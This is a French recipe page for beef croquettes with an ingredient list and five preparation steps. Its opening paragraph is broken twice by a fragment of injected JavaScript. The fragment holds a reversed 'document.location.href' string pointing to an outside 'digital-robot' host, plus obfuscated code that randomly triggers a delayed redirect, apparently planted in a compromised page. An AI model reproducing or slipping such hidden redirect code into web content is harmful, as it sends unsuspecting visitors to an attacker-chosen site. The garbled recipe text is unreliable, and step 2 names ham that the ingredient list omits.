Croquette de bœuf

2017-12-24

Préparez la sauce béchamel. Hors du feu incorporez le jaune d’œuf, la sauce tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomate tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant. Gardez au chaud.

Ingrédients

  • Pour 4 personnes
  • 5 dl de sauce tomate
  • 250 g de bœuf bouilli
  • 2 dl de béchamel
  • 1 jaune d’œuf
  • Panure à l’anglaise (Enrobez de farine en secouant l'excédent)
  • 1 bouquet de persil

Préparation de la recette

Etape 1

Préparez la sauce béchamel. Hors du feu incorporez le jaune d’œuf, la sauce tomate tout en mélangeant. Gardez au chaud.

Etape 2

Coupez en dés le reste de bœuf ainsi que le jambon, incorporez dans la béchamel. Goûtez et rectifiez l’assaisonnement. Laissez refroidir.

Etape 3

Préparez la panure. Partagez la préparation en boulettes de la taille d’un œuf. Les rouler entre les mains. Passez chaque boulette dans la panure.

Etape 4

Et les plonger dans une friture chaude jusqu'à ce qu'elles soient bien dorées.

Etape 5

Retirez les de l'huile de friture et déposez les sur du papier absorbant. Servez la sauce tomate en saucière, parsemez de persil frit. Dégustez.

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